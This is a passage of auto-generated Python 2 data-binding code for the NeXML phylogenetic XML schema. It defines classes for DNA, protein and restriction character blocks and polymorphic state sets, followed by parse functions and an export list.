showIndent(outfile, level) outfile.write('),\n') if self.matrix is not None: showIndent(outfile, level) outfile.write('matrix=model_.RestrictionSeqMatrix(\n') self.matrix.exportLiteral(outfile, level, name_='matrix') showIndent(outfile, level) outfile.write('),\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(RestrictionSeqs, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'format': obj_ = RestrictionFormat.factory() obj_.build(child_) self.set_format(obj_) elif nodeName_ == 'matrix': obj_ = RestrictionSeqMatrix.factory() obj_.build(child_) self.set_matrix(obj_) # end class RestrictionSeqs class ProteinCells(AbstractCells): """An amino acid characters block consisting of granular cells preceded by metadata.""" subclass = None superclass = AbstractCells def __init__(self, about=None, meta=None, label=None, id=None, otus=None, format=None, matrix=None, valueOf_=None): super(ProteinCells, self).__init__(about, meta, label, id, otus, format, matrix, ) if meta is None: self.meta = [] else: self.meta = meta self.format = format self.matrix = matrix def factory(*args_, **kwargs_): if ProteinCells.subclass: return ProteinCells.subclass(*args_, **kwargs_) else: return ProteinCells(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_format(self): return self.format def set_format(self, format): self.format = format def get_matrix(self): return self.matrix def set_matrix(self, matrix): self.matrix = matrix def export(self, outfile, level, namespace_='', name_='ProteinCells', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='ProteinCells') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='ProteinCells'): super(ProteinCells, self).exportAttributes(outfile, level, already_processed, namespace_, name_='ProteinCells') def exportChildren(self, outfile, level, namespace_='', name_='ProteinCells', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') if self.format: self.format.export(outfile, level, namespace_, name_='format', ) if self.matrix: self.matrix.export(outfile, level, namespace_, name_='matrix', ) def hasContent_(self): if ( self.meta or self.format is not None or self.matrix is not None or super(ProteinCells, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='ProteinCells'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(ProteinCells, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(ProteinCells, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') if self.format is not None: showIndent(outfile, level) outfile.write('format=model_.AAFormat(\n') self.format.exportLiteral(outfile, level, name_='format') showIndent(outfile, level) outfile.write('),\n') if self.matrix is not None: showIndent(outfile, level) outfile.write('matrix=model_.AAObsMatrix(\n') self.matrix.exportLiteral(outfile, level, name_='matrix') showIndent(outfile, level) outfile.write('),\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(ProteinCells, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'format': obj_ = AAFormat.factory() obj_.build(child_) self.set_format(obj_) elif nodeName_ == 'matrix': obj_ = AAObsMatrix.factory() obj_.build(child_) self.set_matrix(obj_) # end class ProteinCells class ProteinSeqs(AbstractSeqs): """An amino acid characters block consisting of sequences preceded by metadata.""" subclass = None superclass = AbstractSeqs def __init__(self, about=None, meta=None, label=None, id=None, otus=None, format=None, matrix=None, valueOf_=None): super(ProteinSeqs, self).__init__(about, meta, label, id, otus, format, matrix, ) if meta is None: self.meta = [] else: self.meta = meta self.format = format self.matrix = matrix def factory(*args_, **kwargs_): if ProteinSeqs.subclass: return ProteinSeqs.subclass(*args_, **kwargs_) else: return ProteinSeqs(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_format(self): return self.format def set_format(self, format): self.format = format def get_matrix(self): return self.matrix def set_matrix(self, matrix): self.matrix = matrix def export(self, outfile, level, namespace_='', name_='ProteinSeqs', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='ProteinSeqs') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='ProteinSeqs'): super(ProteinSeqs, self).exportAttributes(outfile, level, already_processed, namespace_, name_='ProteinSeqs') def exportChildren(self, outfile, level, namespace_='', name_='ProteinSeqs', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') if self.format: self.format.export(outfile, level, namespace_, name_='format', ) if self.matrix: self.matrix.export(outfile, level, namespace_, name_='matrix', ) def hasContent_(self): if ( self.meta or self.format is not None or self.matrix is not None or super(ProteinSeqs, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='ProteinSeqs'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(ProteinSeqs, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(ProteinSeqs, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') if self.format is not None: showIndent(outfile, level) outfile.write('format=model_.AAFormat(\n') self.format.exportLiteral(outfile, level, name_='format') showIndent(outfile, level) outfile.write('),\n') if self.matrix is not None: showIndent(outfile, level) outfile.write('matrix=model_.AASeqMatrix(\n') self.matrix.exportLiteral(outfile, level, name_='matrix') showIndent(outfile, level) outfile.write('),\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(ProteinSeqs, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'format': obj_ = AAFormat.factory() obj_.build(child_) self.set_format(obj_) elif nodeName_ == 'matrix': obj_ = AASeqMatrix.factory() obj_.build(child_) self.set_matrix(obj_) # end class ProteinSeqs class AAPolymorphicStateSet(AbstractPolymorphicStateSet): """The AAPolymorphicStateSet defines a polymorphic ambiguity mapping.""" subclass = None superclass = AbstractPolymorphicStateSet def __init__(self, about=None, meta=None, label=None, id=None, symbol=None, member=None, uncertain_state_set=None, valueOf_=None): super(AAPolymorphicStateSet, self).__init__(about, meta, label, id, symbol, member, uncertain_state_set, ) self.symbol = _cast(None, symbol) if member is None: self.member = [] else: self.member = member if uncertain_state_set is None: self.uncertain_state_set = [] else: self.uncertain_state_set = uncertain_state_set def factory(*args_, **kwargs_): if AAPolymorphicStateSet.subclass: return AAPolymorphicStateSet.subclass(*args_, **kwargs_) else: return AAPolymorphicStateSet(*args_, **kwargs_) factory = staticmethod(factory) def get_member(self): return self.member def set_member(self, member): self.member = member def add_member(self, value): self.member.append(value) def insert_member(self, index, value): self.member[index] = value def get_uncertain_state_set(self): return self.uncertain_state_set def set_uncertain_state_set(self, uncertain_state_set): self.uncertain_state_set = uncertain_state_set def add_uncertain_state_set(self, value): self.uncertain_state_set.append(value) def insert_uncertain_state_set(self, index, value): self.uncertain_state_set[index] = value def get_symbol(self): return self.symbol def set_symbol(self, symbol): self.symbol = symbol def validate_AAToken(self, value): # Validate type AAToken, a restriction on AbstractSymbol. pass def export(self, outfile, level, namespace_='', name_='AAPolymorphicStateSet', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AAPolymorphicStateSet') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AAPolymorphicStateSet'): super(AAPolymorphicStateSet, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AAPolymorphicStateSet') if self.symbol is not None and 'symbol' not in already_processed: already_processed.append('symbol') outfile.write(' symbol=%s' % (quote_attrib(self.symbol), )) def exportChildren(self, outfile, level, namespace_='', name_='AAPolymorphicStateSet', fromsubclass_=False): for member_ in self.member: member_.export(outfile, level, namespace_, name_='member') for uncertain_state_set_ in self.uncertain_state_set: uncertain_state_set_.export(outfile, level, namespace_, name_='uncertain_state_set') def hasContent_(self): if ( self.member or self.uncertain_state_set or super(AAPolymorphicStateSet, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AAPolymorphicStateSet'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.symbol is not None and 'symbol' not in already_processed: already_processed.append('symbol') showIndent(outfile, level) outfile.write('symbol = "%s",\n' % (self.symbol,)) super(AAPolymorphicStateSet, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AAPolymorphicStateSet, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('member=[\n') level += 1 for member_ in self.member: showIndent(outfile, level) outfile.write('model_.AAMapping(\n') member_.exportLiteral(outfile, level, name_='AAMapping') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('uncertain_state_set=[\n') level += 1 for uncertain_state_set_ in self.uncertain_state_set: showIndent(outfile, level) outfile.write('model_.AAUncertainStateSet(\n') uncertain_state_set_.exportLiteral(outfile, level, name_='AAUncertainStateSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('symbol', node) if value is not None and 'symbol' not in already_processed: already_processed.append('symbol') self.symbol = value self.validate_AAToken(self.symbol) # validate type AAToken super(AAPolymorphicStateSet, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'member': obj_ = AAMapping.factory() obj_.build(child_) self.member.append(obj_) elif nodeName_ == 'uncertain_state_set': obj_ = AAUncertainStateSet.factory() obj_.build(child_) self.uncertain_state_set.append(obj_) # end class AAPolymorphicStateSet class DnaCells(AbstractCells): """A DNA characters block consisting of granular cells preceded by metadata.""" subclass = None superclass = AbstractCells def __init__(self, about=None, meta=None, label=None, id=None, otus=None, format=None, matrix=None, valueOf_=None): super(DnaCells, self).__init__(about, meta, label, id, otus, format, matrix, ) if meta is None: self.meta = [] else: self.meta = meta self.format = format self.matrix = matrix def factory(*args_, **kwargs_): if DnaCells.subclass: return DnaCells.subclass(*args_, **kwargs_) else: return DnaCells(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_format(self): return self.format def set_format(self, format): self.format = format def get_matrix(self): return self.matrix def set_matrix(self, matrix): self.matrix = matrix def export(self, outfile, level, namespace_='', name_='DnaCells', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='DnaCells') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='DnaCells'): super(DnaCells, self).exportAttributes(outfile, level, already_processed, namespace_, name_='DnaCells') def exportChildren(self, outfile, level, namespace_='', name_='DnaCells', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') if self.format: self.format.export(outfile, level, namespace_, name_='format', ) if self.matrix: self.matrix.export(outfile, level, namespace_, name_='matrix', ) def hasContent_(self): if ( self.meta or self.format is not None or self.matrix is not None or super(DnaCells, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='DnaCells'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(DnaCells, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(DnaCells, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') if self.format is not None: showIndent(outfile, level) outfile.write('format=model_.DNAFormat(\n') self.format.exportLiteral(outfile, level, name_='format') showIndent(outfile, level) outfile.write('),\n') if self.matrix is not None: showIndent(outfile, level) outfile.write('matrix=model_.DNAObsMatrix(\n') self.matrix.exportLiteral(outfile, level, name_='matrix') showIndent(outfile, level) outfile.write('),\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(DnaCells, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'format': obj_ = DNAFormat.factory() obj_.build(child_) self.set_format(obj_) elif nodeName_ == 'matrix': obj_ = DNAObsMatrix.factory() obj_.build(child_) self.set_matrix(obj_) # end class DnaCells class DnaSeqs(AbstractSeqs): """A DNA characters block consisting of sequences preceded by metadata.""" subclass = None superclass = AbstractSeqs def __init__(self, about=None, meta=None, label=None, id=None, otus=None, format=None, matrix=None, valueOf_=None): super(DnaSeqs, self).__init__(about, meta, label, id, otus, format, matrix, ) if meta is None: self.meta = [] else: self.meta = meta self.format = format self.matrix = matrix def factory(*args_, **kwargs_): if DnaSeqs.subclass: return DnaSeqs.subclass(*args_, **kwargs_) else: return DnaSeqs(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_format(self): return self.format def set_format(self, format): self.format = format def get_matrix(self): return self.matrix def set_matrix(self, matrix): self.matrix = matrix def export(self, outfile, level, namespace_='', name_='DnaSeqs', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='DnaSeqs') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='DnaSeqs'): super(DnaSeqs, self).exportAttributes(outfile, level, already_processed, namespace_, name_='DnaSeqs') def exportChildren(self, outfile, level, namespace_='', name_='DnaSeqs', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') if self.format: self.format.export(outfile, level, namespace_, name_='format', ) if self.matrix: self.matrix.export(outfile, level, namespace_, name_='matrix', ) def hasContent_(self): if ( self.meta or self.format is not None or self.matrix is not None or super(DnaSeqs, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='DnaSeqs'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(DnaSeqs, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(DnaSeqs, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') if self.format is not None: showIndent(outfile, level) outfile.write('format=model_.DNAFormat(\n') self.format.exportLiteral(outfile, level, name_='format') showIndent(outfile, level) outfile.write('),\n') if self.matrix is not None: showIndent(outfile, level) outfile.write('matrix=model_.DNASeqMatrix(\n') self.matrix.exportLiteral(outfile, level, name_='matrix') showIndent(outfile, level) outfile.write('),\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(DnaSeqs, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'format': obj_ = DNAFormat.factory() obj_.build(child_) self.set_format(obj_) elif nodeName_ == 'matrix': obj_ = DNASeqMatrix.factory() obj_.build(child_) self.set_matrix(obj_) # end class DnaSeqs class DNAPolymorphicStateSet(AbstractPolymorphicStateSet): """The DNAPolymorphicStateSet type defines an IUPAC ambiguity mapping. It may enclose zero or more AbstractMapping elements to resolve ambiguities.""" subclass = None superclass = AbstractPolymorphicStateSet def __init__(self, about=None, meta=None, label=None, id=None, symbol=None, member=None, uncertain_state_set=None, valueOf_=None): super(DNAPolymorphicStateSet, self).__init__(about, meta, label, id, symbol, member, uncertain_state_set, ) self.symbol = _cast(None, symbol) if member is None: self.member = [] else: self.member = member if uncertain_state_set is None: self.uncertain_state_set = [] else: self.uncertain_state_set = uncertain_state_set def factory(*args_, **kwargs_): if DNAPolymorphicStateSet.subclass: return DNAPolymorphicStateSet.subclass(*args_, **kwargs_) else: return DNAPolymorphicStateSet(*args_, **kwargs_) factory = staticmethod(factory) def get_member(self): return self.member def set_member(self, member): self.member = member def add_member(self, value): self.member.append(value) def insert_member(self, index, value): self.member[index] = value def get_uncertain_state_set(self): return self.uncertain_state_set def set_uncertain_state_set(self, uncertain_state_set): self.uncertain_state_set = uncertain_state_set def add_uncertain_state_set(self, value): self.uncertain_state_set.append(value) def insert_uncertain_state_set(self, index, value): self.uncertain_state_set[index] = value def get_symbol(self): return self.symbol def set_symbol(self, symbol): self.symbol = symbol def validate_DNAToken(self, value): # Validate type DNAToken, a restriction on AbstractSymbol. pass def export(self, outfile, level, namespace_='', name_='DNAPolymorphicStateSet', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='DNAPolymorphicStateSet') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='DNAPolymorphicStateSet'): super(DNAPolymorphicStateSet, self).exportAttributes(outfile, level, already_processed, namespace_, name_='DNAPolymorphicStateSet') if self.symbol is not None and 'symbol' not in already_processed: already_processed.append('symbol') outfile.write(' symbol=%s' % (quote_attrib(self.symbol), )) def exportChildren(self, outfile, level, namespace_='', name_='DNAPolymorphicStateSet', fromsubclass_=False): for member_ in self.member: member_.export(outfile, level, namespace_, name_='member') for uncertain_state_set_ in self.uncertain_state_set: uncertain_state_set_.export(outfile, level, namespace_, name_='uncertain_state_set') def hasContent_(self): if ( self.member or self.uncertain_state_set or super(DNAPolymorphicStateSet, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='DNAPolymorphicStateSet'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.symbol is not None and 'symbol' not in already_processed: already_processed.append('symbol') showIndent(outfile, level) outfile.write('symbol = "%s",\n' % (self.symbol,)) super(DNAPolymorphicStateSet, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(DNAPolymorphicStateSet, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('member=[\n') level += 1 for member_ in self.member: showIndent(outfile, level) outfile.write('model_.DNAMapping(\n') member_.exportLiteral(outfile, level, name_='DNAMapping') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('uncertain_state_set=[\n') level += 1 for uncertain_state_set_ in self.uncertain_state_set: showIndent(outfile, level) outfile.write('model_.DNAUncertainStateSet(\n') uncertain_state_set_.exportLiteral(outfile, level, name_='DNAUncertainStateSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('symbol', node) if value is not None and 'symbol' not in already_processed: already_processed.append('symbol') self.symbol = value self.validate_DNAToken(self.symbol) # validate type DNAToken super(DNAPolymorphicStateSet, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'member': obj_ = DNAMapping.factory() obj_.build(child_) self.member.append(obj_) elif nodeName_ == 'uncertain_state_set': obj_ = DNAUncertainStateSet.factory() obj_.build(child_) self.uncertain_state_set.append(obj_) # end class DNAPolymorphicStateSet USAGE_TEXT = """ Usage: python <Parser>.py [ -s ] <in_xml_file> """ def usage(): print USAGE_TEXT sys.exit(1) def get_root_tag(node): tag = Tag_pattern_.match(node.tag).groups()[-1] rootClass = globals().get(tag) return tag, rootClass def parse(inFileName): doc = parsexml_(inFileName) rootNode = doc.getroot() rootTag, rootClass = get_root_tag(rootNode) if rootClass is None: rootTag = 'Nexml' rootClass = Nexml rootObj = rootClass.factory() rootObj.build(rootNode) # Enable Python to collect the space used by the DOM. doc = None ## sys.stdout.write('<?xml version="1.0" ?>\n') ## rootObj.export(sys.stdout, 0, name_=rootTag, ## namespacedef_='xmlns:nex="http://www.nexml.org/2009"') return rootObj def parseString(inString): from StringIO import StringIO doc = parsexml_(StringIO(inString)) rootNode = doc.getroot() rootTag, rootClass = get_root_tag(rootNode) if rootClass is None: rootTag = 'Nexml' rootClass = Nexml rootObj = rootClass.factory() rootObj.build(rootNode) # Enable Python to collect the space used by the DOM. doc = None ## sys.stdout.write('<?xml version="1.0" ?>\n') ## rootObj.export(sys.stdout, 0, name_="Nexml", ## namespacedef_='xmlns:nex="http://www.nexml.org/2009"') return rootObj def parseLiteral(inFileName): doc = parsexml_(inFileName) rootNode = doc.getroot() rootTag, rootClass = get_root_tag(rootNode) if rootClass is None: rootTag = 'Nexml' rootClass = Nexml rootObj = rootClass.factory() rootObj.build(rootNode) # Enable Python to collect the space used by the DOM. doc = None ## sys.stdout.write('#from nexml import *\n\n') ## sys.stdout.write('import nexml as model_\n\n') ## sys.stdout.write('rootObj = model_.rootTag(\n') ## rootObj.exportLiteral(sys.stdout, 0, name_=rootTag) ## sys.stdout.write(')\n') return rootObj def main(): args = sys.argv[1:] if len(args) == 1: parse(args[0]) else: usage() if __name__ == '__main__': #import pdb; pdb.set_trace() main() __all__ = [ "AAChar", "AAFormat", "AAMapping", "AAMatrixObsRow", "AAMatrixSeqRow", "AAObs", "AAObsMatrix", "AAPolymorphicStateSet", "AASeqMatrix", "AAState", "AAStates", "AAUncertainStateSet", "AbstractBlock", "AbstractCells", "AbstractChar", "AbstractEdge", "AbstractFormat", "AbstractMapping", "AbstractNetwork", "AbstractNode", "AbstractObs", "AbstractObsMatrix", "AbstractObsRow", "AbstractPolymorphicStateSet", "AbstractRootEdge", "AbstractSeqMatrix", "AbstractSeqRow", "AbstractSeqs", "AbstractSet", "AbstractState", "AbstractStates", "AbstractTree", "AbstractTrees", "AbstractUncertainStateSet", "Annotated", "Base", "CellSet", "CharSet", "ContinuousCells", "ContinuousChar", "ContinuousFormat", "ContinuousMatrixObsRow", "ContinuousMatrixSeqRow", "ContinuousObs", "ContinuousObsMatrix", "ContinuousSeqMatrix", "ContinuousSeqs", "DNAChar", "DNAFormat", "DNAMapping", "DNAMatrixObsRow", "DNAMatrixSeqRow", "DNAObs", "DNAObsMatrix", "DNAPolymorphicStateSet", "DNASeqMatrix", "DNAState", "DNAStates", "DNAUncertainStateSet", "DnaCells", "DnaSeqs", "FloatNetwork", "FloatTree", "IDTagged", "IntNetwork", "IntTree", "Labelled", "LiteralMeta", "Meta", "NetworkFloatEdge", "NetworkIntEdge", "NetworkNode", "Nexml", "NodeAndRootEdgeAndEdgeSet", "OptionalTaxonLinked", "ProteinCells", "ProteinSeqs", "RNAChar", "RNAFormat", "RNAMapping", "RNAMatrixObsRow", "RNAMatrixSeqRow", "RNAObs", "RNAObsMatrix", "RNAPolymorphicStateSet", "RNASeqMatrix", "RNAState", "RNAStates", "RNAUncertainStateSet", "ResourceMeta", "RestrictionCells", "RestrictionChar", "RestrictionFormat", "RestrictionMatrixObsRow", "RestrictionMatrixSeqRow", "RestrictionObs", "RestrictionObsMatrix", "RestrictionSeqMatrix", "RestrictionSeqs", "RestrictionState", "RestrictionStates", "RnaCells", "RnaSeqs", "RowSet", "StandardCells", "StandardChar", "StandardFormat", "StandardMapping", "StandardMatrixObsRow", "StandardMatrixSeqRow", "StandardObs", "StandardObsMatrix", "StandardPolymorphicStateSet", "StandardSeqMatrix", "StandardSeqs", "StandardState", "StandardStates", "StandardUncertainStateSet", "StateSet", "Taxa", "TaxaLinked", "Taxon", "TaxonLinked", "TaxonSet", "TreeAndNetworkSet", "TreeFloatEdge", "TreeFloatRootEdge", "TreeIntEdge", "TreeIntRootEdge", "TreeNode", "Trees", "attrExtensions" ]

46.374103

186

0.623749

80,087

749,220

5.625932

0.00949

0.088662

0.056005

0.073761

